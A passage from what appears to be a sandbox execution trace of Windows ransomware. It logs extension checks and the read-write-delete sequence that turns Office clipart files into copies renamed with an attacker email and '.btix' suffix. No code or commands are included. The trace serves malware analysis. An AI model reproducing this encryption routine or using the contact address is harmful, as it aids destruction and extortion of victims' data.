(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString=".doc") returned 4 [0158.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".docx") returned 5 [0158.588] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.588] lstrlenW (lpString=".pdf") returned 4 [0158.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".xls") returned 4 [0158.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.588] lstrlenW (lpString=".xlsx") returned 5 [0158.588] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.588] lstrlenW (lpString=".ppt") returned 4 [0158.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString=".zip") returned 4 [0158.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.588] lstrlenW (lpString=".rar") returned 4 [0158.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".bz2") returned 4 [0158.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString=".7z") returned 3 [0158.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString=".dbf") returned 4 [0158.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString=".1cd") returned 4 [0158.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0158.588] lstrlenW (lpString=".jpg") returned 4 [0158.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.589] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.589] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.589] GetLastError () returned 0x0 [0158.589] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x199a, lpOverlapped=0x0) returned 1 [0158.599] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x19a0, lpOverlapped=0x0) returned 1 [0158.602] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.602] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.602] SetEndOfFile (hFile=0x368) returned 1 [0158.602] CloseHandle (hObject=0x368) returned 1 [0158.602] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.603] SetEndOfFile (hFile=0x39c) returned 1 [0158.603] CloseHandle (hObject=0x39c) returned 1 [0158.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf")) returned 1 [0158.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.604] lstrlenW (lpString=".doc") returned 4 [0158.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.604] lstrlenW (lpString=".docx") returned 5 [0158.604] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.604] lstrlenW (lpString=".pdf") returned 4 [0158.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.604] lstrlenW (lpString=".xls") returned 4 [0158.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.604] lstrlenW (lpString=".xlsx") returned 5 [0158.605] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.605] lstrlenW (lpString=".ppt") returned 4 [0158.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.605] lstrlenW (lpString=".zip") returned 4 [0158.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.605] lstrlenW (lpString=".rar") returned 4 [0158.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.605] lstrlenW (lpString=".bz2") returned 4 [0158.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.605] lstrlenW (lpString=".7z") returned 3 [0158.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.605] lstrlenW (lpString=".dbf") returned 4 [0158.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.605] lstrlenW (lpString=".1cd") returned 4 [0158.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF") returned 68 [0158.605] lstrlenW (lpString=".jpg") returned 4 [0158.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.605] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.605] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.606] GetLastError () returned 0x0 [0158.606] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1d4a, lpOverlapped=0x0) returned 1 [0158.612] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1d50, lpOverlapped=0x0) returned 1 [0158.612] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.612] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.613] SetEndOfFile (hFile=0x368) returned 1 [0158.613] CloseHandle (hObject=0x368) returned 1 [0158.613] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.613] SetEndOfFile (hFile=0x39c) returned 1 [0158.613] CloseHandle (hObject=0x39c) returned 1 [0158.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf")) returned 1 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.614] lstrlenW (lpString=".doc") returned 4 [0158.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.614] lstrlenW (lpString=".docx") returned 5 [0158.615] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.615] lstrlenW (lpString=".pdf") returned 4 [0158.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString=".xls") returned 4 [0158.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.615] lstrlenW (lpString=".xlsx") returned 5 [0158.615] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.615] lstrlenW (lpString=".ppt") returned 4 [0158.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.615] lstrlenW (lpString=".zip") returned 4 [0158.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.615] lstrlenW (lpString=".rar") returned 4 [0158.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString=".bz2") returned 4 [0158.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString=".7z") returned 3 [0158.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.615] lstrlenW (lpString=".dbf") returned 4 [0158.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.615] lstrlenW (lpString=".1cd") returned 4 [0158.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF") returned 68 [0158.616] lstrlenW (lpString=".jpg") returned 4 [0158.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.619] GetLastError () returned 0x0 [0158.619] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xf00, lpOverlapped=0x0) returned 1 [0158.620] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xf10, lpOverlapped=0x0) returned 1 [0158.621] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.621] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.621] SetEndOfFile (hFile=0x36c) returned 1 [0158.621] CloseHandle (hObject=0x36c) returned 1 [0158.623] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.623] SetEndOfFile (hFile=0x380) returned 1 [0158.623] CloseHandle (hObject=0x380) returned 1 [0158.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213449.wmf")) returned 1 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.624] lstrlenW (lpString=".doc") returned 4 [0158.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".docx") returned 5 [0158.624] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.624] lstrlenW (lpString=".pdf") returned 4 [0158.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".xls") returned 4 [0158.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.624] lstrlenW (lpString=".xlsx") returned 5 [0158.624] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.624] lstrlenW (lpString=".ppt") returned 4 [0158.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.625] lstrlenW (lpString=".zip") returned 4 [0158.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.625] lstrlenW (lpString=".rar") returned 4 [0158.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".bz2") returned 4 [0158.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".7z") returned 3 [0158.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.625] lstrlenW (lpString=".dbf") returned 4 [0158.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.625] lstrlenW (lpString=".1cd") returned 4 [0158.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213449.WMF") returned 68 [0158.625] lstrlenW (lpString=".jpg") returned 4 [0158.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.625] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.625] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.626] GetLastError () returned 0x0 [0158.626] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7cb6, lpOverlapped=0x0) returned 1 [0158.633] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7cc0, lpOverlapped=0x0) returned 1 [0158.634] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.634] WriteFile (in: hFile=0x36c, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.634] SetEndOfFile (hFile=0x36c) returned 1 [0158.634] CloseHandle (hObject=0x36c) returned 1 [0158.634] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.634] SetEndOfFile (hFile=0x380) returned 1 [0158.635] CloseHandle (hObject=0x380) returned 1 [0158.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf")) returned 1 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString=".doc") returned 4 [0158.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString=".docx") returned 5 [0158.637] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0158.637] lstrlenW (lpString=".pdf") returned 4 [0158.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString=".xls") returned 4 [0158.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.637] lstrlenW (lpString=".xlsx") returned 5 [0158.637] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0158.637] lstrlenW (lpString=".ppt") returned 4 [0158.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString=".zip") returned 4 [0158.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.637] lstrlenW (lpString=".rar") returned 4 [0158.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString=".bz2") returned 4 [0158.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString=".7z") returned 3 [0158.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString=".dbf") returned 4 [0158.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString=".1cd") returned 4 [0158.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF") returned 68 [0158.637] lstrlenW (lpString=".jpg") returned 4 [0158.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.654] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.654] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.655] GetLastError () returned 0x0 [0158.655] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2d6c, lpOverlapped=0x0) returned 1 [0158.656] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0158.657] ReadFile (in: hFile=0x39c, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.657] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.657] SetEndOfFile (hFile=0x368) returned 1 [0158.657] CloseHandle (hObject=0x368) returned 1 [0158.658] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.658] SetEndOfFile (hFile=0x39c) returned 1 [0158.658] CloseHandle (hObject=0x39c) returned 1 [0158.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf")) returned 1 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.659] lstrlenW (lpString=".doc") returned 4 [0158.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".docx") returned 5 [0158.659] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0158.659] lstrlenW (lpString=".pdf") returned 4 [0158.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".xls") returned 4 [0158.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.659] lstrlenW (lpString=".xlsx") returned 5 [0158.659] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.659] lstrlenW (lpString=".ppt") returned 4 [0158.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.659] lstrlenW (lpString=".zip") returned 4 [0158.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.659] lstrlenW (lpString=".rar") returned 4 [0158.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".bz2") returned 4 [0158.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.659] lstrlenW (lpString=".7z") returned 3 [0158.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.660] lstrlenW (lpString=".dbf") returned 4 [0158.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.660] lstrlenW (lpString=".1cd") returned 4 [0158.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0158.660] lstrlenW (lpString=".jpg") 